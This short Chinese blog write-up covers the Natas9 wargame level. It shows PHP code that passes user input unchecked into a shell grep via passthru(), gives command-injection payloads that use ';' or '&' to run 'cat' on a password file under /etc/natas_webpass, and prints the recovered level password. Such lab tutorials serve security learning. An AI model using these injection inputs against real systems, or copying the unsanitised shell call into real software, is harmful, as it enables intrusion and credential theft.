Natas9 Writeup(命令注入)

 
更多

Natas9:

审计源码,发现关键代码:

$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}

php代码调用了passthru函数执行grep命令来查找我们提交的内容是否在 dictionary.txt中,由此想到命令注入漏洞,且已知各等级密码均存储在/etc/natas_webpass目录下,使用;或|或&来截断grep命令,再用cat读取密码,用#注释掉后面的内容,构造如下:& cat /etc/natas_webpass/natas10 #,post得到flag。

(或者构造如下:;cat /etc/natas_webpass/natas10;)

flag:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

 

总结:

1.php代码中,passthru()函数可以执行外部命令,类似于exec()。

2.grep -i 为不分大小写匹配查询。

3.使用;或|或&可以截断shell命令。

打赏

本文固定链接: https://www.cxy163.net/archives/5035 | 绝缘体

该日志由 绝缘体.. 于 2020年03月06日 发表在 未分类 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: Natas9 Writeup(命令注入) | 绝缘体
关键字: , , , ,

Natas9 Writeup(命令注入):等您坐沙发呢!

发表评论


快捷键:Ctrl+Enter